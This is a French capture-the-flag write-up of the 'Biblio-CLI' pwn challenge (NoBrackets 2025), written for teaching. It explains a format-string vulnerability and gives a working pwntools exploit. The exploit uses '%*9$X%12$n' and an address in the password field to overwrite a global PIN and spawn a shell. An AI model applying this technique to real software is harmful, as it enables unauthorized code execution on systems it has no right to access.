Shrug

CTF Writeups Vault

Biblio-CLI

Parcourez les résolutions de challenges comme dans un système de fichiers. Cliquez sur les dossiers pour explorer les événements et ouvrez un writeup pour profiter d'un rendu Markdown enrichi (LaTeX, blocs terminal, images HD).

NoBrackets2025PWNDifficile

Biblio-CLI

La BU a engagé un étudiant qui commence sa license info à l'UBS de développer un portail cli ! Montrez lui qu'il faut connaître les subtilités des langages qu'on utilise :)

bowie41
#BinaryExploit#PWN#FormatString

Pour ce challenge, on ne nous donne que le fichier executable.

Analyse

Avant toute chose, il est toujours une bonne idée de run les commandes suivantes pour avoir une premiere idée de avec quoi on travaille :

terminal
bash
$- file ./biblio ./biblio: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52b7f4721c46614a98cfc940effd1321ea81730a, for GNU/Linux 3.2.0, not stripped $- checksec --file=biblio RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 54 Symbols No 0 3biblio

On a donc un executable ELF64 pour linux x86-64, non stripped. Avoir ces informations pourrait nous aider plus tard dans la résolution du chall. On voit également que :

  • Le fichier à été compilé avec partial RELRO
  • Canary est actif (protection contre buffer overflow)
  • Le NX bit est actif (protection contre injection de shellcode sur la stack)
  • PIE est inactif (les adresses ne sont pas randomisées)

Execution

On va ensuite executer le fichier pour avoir une premiere idée de ce qu'il fait :

terminal
bash
$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: bowie > Password: pass123 > PIN code: 456 Welcome, bowie Thanks for visiting, here is our catalog : Segmentation fault (core dumped)

L'executable demande 3 entrées utilisateur :

  • L'ID étudiant (ici j'ai mis bowie en exemple)
  • Le password (ici j'ai mis pass123 en exemple)
  • Le PIN code (ici j'ai mis 456 en exemple)

On observe que le programme renvoie l'ID étudiant choisi puis essaye d'afficher un catalogue mais crash (erreur SIGSEV).

Le programme nous dit que pour tester les fonctionnalités secrètes, il faut entrer le pin secret admin. On se doute alors que c'est l'ojectif du challenge.

En relisant l'énnoncé, on se rend compte qu'il faut exploiter une "subtilité" du language utilisé, on pense directement aux deux failles les plus communes :

Note: il est conseillé de lire la page de wiki sur les buffer overflow et surtout celle sur les format string avant de continuer ce writeup.

Tests

On teste alors de buffer overflow en entrant une tres longue chaine de caractères dans les champs d'entrée de texte :

terminal
bash
$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Password: PIN code: Welcome, aaaaaaaaaaa Thanks for visiting, here is our catalog : Segmentation fault (core dumped)

On remarque que le programme ne m'a pas laissé écrire dans les champs Password et PIN code. C'est un comportement typique d'un programme limitant un input a une certaine longueur : si l'utilisateur entre une chaine trop longue, l'exces passe dans le champ d'apres. Mais bon on observe toujours le meme crash et il est difficile de savoir s'il a été causé par un buffer overflow ou si c'est le même qu'avant.

Etant donné que le programme affiche l'ID étudiant, on tente ensuite d'entrer un string specifier dans le premier input :

terminal
bash
$- ./biblio PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: %p > Password: pass123 > PIN code: 456 Welcome, 0x2c656d6f636c6557 Thanks for visiting, here is our catalog : Segmentation fault (core dumped)

Bingo ! Le programme retourne une valeur hex plutot random, on a donc une belle format string vulnerability.

Mais bon, a priori il suffit de trouver la valeur du pin secret admin pour réussir le challenge. Pour trouver cette valeur, on ouvre l'executable dans cutter et on regarde la fonction main dans le decompiler :

undefined8 main(int argc, char **argv) { int64_t iVar1; undefined8 in_R8; undefined8 in_R9; int64_t in_FS_OFFSET; char **var_58h; int var_4ch; unsigned long long var_40h; char *format; char *var_28h; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); setvbuf(_stdin, 0, 1, 0, in_R8, in_R9, argv); setvbuf(_stdout, 0, 1, 0); setvbuf(_stderr, 0, 1, 0); banner(); puts("Bienvenue sur le portail CLI de la bibliothèque universitaire !!!"); puts("Pour le moment, seul un listing des livres est disponible pour les étudiants."); puts("Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes !\n"); iVar1 = gen_random_pin(); printf("\nID étudiant: "); fgets(&format, 0xc, _stdin); printf("Password: "); fgets(&var_28h, 0x14, _stdin); printf("PIN code: "); __isoc99_scanf(data.00402470, USER_PIN); printf("Welcome, "); printf(&format); puts("\nThanks for visiting, here is our catalog : \n"); if (iVar1 == _USER_PIN) { puts("Bienvenue admin ! Voici votre panel ;)"); system("/bin/sh"); } else { book_list(); } puts("\nSee you soon !"); if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0; }

On remarque directement les lignes qui nous interessent :

__isoc99_scanf(data.00402470, USER_PIN); (...) if (iVar1 == _USER_PIN) { puts("Bienvenue admin ! Voici votre panel ;)"); system("/bin/sh"); }

Le programme compare donc une entrée utilisateur et la variable iVar1 (correspondant au pin admin de l'énoncé) et si les deux valeurs sont égales, ouvre un shell.
Cela confirme donc nos suspicions, il faut trouver un moyen de récupérer le pin admin pour réussir le chall.

Premiere approche - Trouver le pin

On regarde alors comment est défini iVar1 :

int64_t iVar1; iVar1 = gen_random_pin();

Le pin est donc un entier et prend sa valeur de la fonction gen_random_pin(). Une première idée serait de voir si on peut prévoir le résultat pour trouver le pin admin. Pour ça, on va voir la fonction de définition du pin dans le decompiler :

int64_t gen_random_pin(void) { undefined4 uVar1; int32_t iVar2; int64_t in_FS_OFFSET; int fildes; int seed; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); uVar1 = open("/dev/urandom", 0); seed = 0xffffffffffffffff; read(uVar1, &seed, 8); close(uVar1); srand(seed & 0xffffffff); iVar2 = rand(); if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return (int64_t)(iVar2 % 0x10000); }

Si on extrait uniquement la logique utile de la fonction, ça donne :

uVar1 = open("/dev/urandom", 0); // On ouvre /dev/urandom (un générateur d'aléatoire) read(uVar1, &seed, 8); // On lit 8 bytes de données depuis le générateur d'aléatoire qu'on stocke dans seed close(uVar1); // On ferme /dev/urandom srand(seed & 0xffffffff); // On définit la seed de rand() à (seed AND 0xffffffff) iVar2 = rand(); // On appelle la fonction rand() qui retourne un nombre // pseudo-aléatoire basé sur la seed (seed AND 0xffffffff) return iVar2 % 0x10000; // On retourne le résultat de la fonction rand()

Ce code génere un pin admin completement aléatoire. Il est donc impossible de le trouver à l'avance.

Seconde approche - réécrire le pin admin

On sait déjà qu'on à une faille de type format string. Grace a celle-ci, on devrait pouvoir écrire ce qu'on veut où on veut en mémoire.
En théorie, il suffirait juste de réécrire la variable iVar1 à une valeur qu'on connait et qu'on entrerait dans le pin. Les deux valeurs seraient alors égales et le programme nous enverrai donc un shell admin.

Par exemple, on pourrait essayer d'écrire 0 dans iVar1 grace au format specifier %n puis d'écrire 0 dans l'entrée utilisateur du pin.

Il ne nous reste plus qu'a trouver écrire, soit trouver l'adresse de iVar1 en mémoire. Pour cela, on ouvre le debbuger GDB et on désassemble l'executable :

terminal
bash
$- gdb ./biblio > (gdb) set disassembly-flavor intel > (gdb) disas main

Pour trouver l'adresse du pin admin, on cherche sa définition :

0x0000000000401522 <+184>: call 0x40132c <gen_random_pin> 0x0000000000401527 <+189>: mov QWORD PTR [rbp-0x38],rax

On trouve donc que l'éxécutable appelle la fonction gen_random_pin puis stocke son retour (RAX) à l'adresse [rbp - 0x38].
L'adresse du pin admin est donc relative à RBP, ce qui veut dire que pour trouver son adresse, on va devoir trouver la valeur de RBP.

Note: RBP est le Base Pointer, c'est un pointeur vers la base (le bas) de la stack.

Cependant, l'adresse de la stack change à chaque execution. On aurait donc besoin de trouver l'adresse de RBP avant d'entrer notre format specifier. Or on n'a aucun moyen de récuperer l'adresse de RBP, et donc celle du pin admin, avant la vulnérabilité format string.

Troisième approche - réécrire le pin utilisateur

En relisant l'assembly renvoyé par GDB, on tombe sur cette ligne :

0x0000000000401597 <+301>: lea rax,[rip+0x2b12] # 0x4040b0 <USER_PIN>

Le commentaire nous dit que le USER_PIN (soit le pin entré par l'utilisateur) est stocké à l'adresse 0x4040b0. Il ne s'agit donc pas d'une adresse relative à la stack et elle reste constante entre les executions. On a l'adresse avant la vulnérabilité format string, il nous est donc possible d'y écrire ce qu'on veut grace au format specifier %n.

On sait donc écrire, mais toujours pas quoi écrire. En effet, on cherche à écrire la valeur du pin admin dans la variable USER_PIN. Mais, le pin admin étant aléatoire, il change à toutes les éxécutions.
Cependant, on sait également qu'il est stocké sur la stack$RBP - 0x38) et qu'on peut retourner des valeurs depuis la stack avec les failles format string. Il suffit juste de trouver la position du pin admin par rapport à RSP. Pour ça, on ouvre GDB et on affiche la stack au moment de la vulnérabilité :

terminal
bash
$- gdb ./biblio > (gdb) break *main+363 # ici 363 est l'offset dans main du printf vulnérable Breakpoint 1 at 0x4015d5 > (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: bowie # valeur d'exemple > Password: password # valeur d'exemple > PIN code: 1234 # valeur d'exemple Breakpoint 1, 0x00000000004015d5 in main () > (gdb) x/x $rbp - 0x38 # on affiche la valeur du pin admin (à $rbp - 0x38) 0x7fffffffda68: 0x0000000000006063 # => aléatoire > (gdb) x/16x $rsp # on affiche 16 valeurs depuis la stack 0x7fffffffda50: 0x00007fffffffdbc8 0x0000000100000000 0x7fffffffda60: 0x0000000000000000 0x0000000000006063 0x7fffffffda70: 0x69776f6200000000 0x0000000000000a65 0x7fffffffda80: 0x64726f7773736170 0x00007ffff7fe000a 0x7fffffffda90: 0x00007fffffffdb80 0x3d405aa9a555dc00 0x7fffffffdaa0: 0x00007fffffffdb40 0x00007ffff7c2a1ca 0x7fffffffdab0: 0x00007fffffffdaf0 0x00007fffffffdbc8 0x7fffffffdac0: 0x0000000100400040 0x000000000040146a

On se rends compte que la valeur aléatoire du pin admin est également dans la stack, 3 adresses adresses après RSP, soit à $RSP + 24 :

terminal
bash
> (gdb) x/x $rsp + 24 0x7fffffffda68: 0x0000000000006063

Cela veut dire qu'il s'agit du 9eme parametre du printf.

On peut visualiser ca en entrant le format specifier "%9$p" dans l'entrée PIN :

terminal
bash
> (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! > ID étudiant: %9$p > Password: password > PIN code: 1234 Breakpoint 1, 0x00000000004015d5 in main () > (gdb) x/x $rbp - 0x38 0x7fffffffda68: 0x00000000000029cb # pin admin > (gdb) continue Continuing. Welcome, 0x29cb Thanks for visiting, here is our catalog : Program received signal SIGSEGV, Segmentation fault.

On se rends compte qu'on retrouve bien le pin admin dans le 9eme pararmetre.

Jusqu'a présent, on à toujours eu une valeur statique à écrire avec le specifier %n. Ce dernier écrivant le compte du nombre de caractères écrits jusque la, on utilisait un autre format spécifier pour écrire un certain nombre de caracteres :

"%[valeur]X"

Par exemple pour écrire 150 caracteres :

"%150X"

Il s'agit de la syntaxe de la spécification de largeur. Cependant, il existe un moyen de prendre une valeur d'un paramètre pour la mettre dans cette spécification de largeur :

"%*[paramNo]$X"

Par exemple pour prendre le 13eme parametre :

"%*13$X"

En combinant cela avec le specifier %n, on peut prendre une valeur depuis un parametre, et l'écrire où on veut en mémoire.

Dans notre cas, la valeur du pin admin se trouve dans le 9eme parametre. Le paylaod ressemblerait donc à ça :

"%*9$X%??$n"

Il ne nous reste plus qu'a ajouter l'adresse où écrire dans le payload pour indiquer au %n à quelle adresse écrire. Cependant, notre base de payload fait 10 caracteres de long et l'input de l'id étudiant (l'input vulnérable) ne prends que maximum 12 caracteres (11 caracteres + 1 null char, donc plutôt 11 caracteres utiles) :

fgets(&format, 0xc, _stdin);

Base 16Base 10

Entrée

c

Résultat

12

On n'a donc pas la place d'ajouter l'adresse (4 caracteres) apres notre payload.
Heureusement, on a toute la place de la mettre dans l'input d'apres pour le password. Il suffit juste de le trouver dans la stack pour savoir à quel parametre il correspond :

terminal
bash
> (gdb) run PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: bowie Password: aaaaaaaa PIN code: 1234 Breakpoint 2, 0x00000000004015d5 in main () > (gdb) x/16x $rsp 0x7fffffffda50: 0x00007fffffffdbc8 0x0000000100000000 0x7fffffffda60: 0x0000000000000000 0x000000000000433f 0x7fffffffda70: 0x69776f6200000000 0x0000000000000a65 0x7fffffffda80: 0x6161616161616161 0x00007ffff7fe000a 0x7fffffffda90: 0x00007fffffffdb80 0x7e58ba275823f700 0x7fffffffdaa0: 0x00007fffffffdb40 0x00007ffff7c2a1ca 0x7fffffffdab0: 0x00007fffffffdaf0 0x00007fffffffdbc8 0x7fffffffdac0: 0x0000000100400040 0x000000000040146a

ASCIIBase 16

Entrée

aaaaaaaa

Résultat

6161616161616161

On retrouve notre input de password (0x6161616161616161) dans la stack 6 adresses apres RSP soit à $RSP + 48 :

terminal
bash
> (gdb) x/x $rsp + 48 0x7fffffffda80: 0x6161616161616161

Cela correspond donc au 12eme parametre du printf.

On a donc deux payloads, un pour l'input id étudiant et un pour l'input password :

  • ID étudiant : "%*9$X%12$n" -> On remplace les ?? par 12 car l'adresse est au 12eme parametre
  • Password : p64(0x4040b0) -> On met donc l'adresse au 12eme parametre

On peut donc maintenant créer notre exploit en local :

from pwn import * payloadID = b"%*9$X%12$n" paylaodPassword = p64(0x4040b0) payloadPIN = b"1234" # la valeur en entrée du pin n'importe pas, elle sera réécrite dans tout les cas with open('test','wb') as f: f.write(payloadID + b"\n" + paylaodPassword + b"\n" + payloadPIN + b"\n") # on rajoute des retours a la ligne entre les payloads

Puis le tester :

terminal
bash
$- python3 exploit.py
terminal
bash
> (gdb) run < test PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: Password: PIN code: Welcome, (...) Thanks for visiting, here is our catalog : Bienvenue admin ! Voici votre panel ;)

Parfait ! L'exploit marche en local et nous ouvre bien un shell.

Il ne reste plus qu'a l'executer en remote :

from pwn import * p = remote("HOST", PORT) payloadID = b"%*9$X%12$n" paylaodPassword = p64(0x4040b0) payloadPIN = b"1234" p.send(payloadID + b"\n" + paylaodPassword + b"\n" + payloadPIN + b"\n") p.interactive()
terminal
bash
$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode PORTAIL BIBLIO Bienvenue sur le portail CLI de la bibliothèque universitaire !!! Pour le moment, seul un listing des livres est disponible pour les étudiants. Cependant, si vous entrez le pin secret admin alors vous pourrez tester les fonctionnalités secrètes ! ID étudiant: Password: PIN code: Welcome, (...) Thanks for visiting, here is our catalog : Bienvenue admin ! Voici votre panel ;) > ls biblio book.db flag.txt > cat flag.txt NBCTF{f0rm4t_5tr1ng5_c4n_4ls0_c0py_64e8321b4e4dc42}

Bingo ! On trouve le flag en clair !

Super chall, grave original, c'est la premiere fois que j'utilise la spécifications de largeur comme ça.
Bravo à tout ceux/celles qui ont suivi :)

Les challenges originaux restent la propriété intellectuelle de leurs auteurs. Sauf mention contraire, les contenus produits par ShrugTeam sont diffusés sous licence MIT.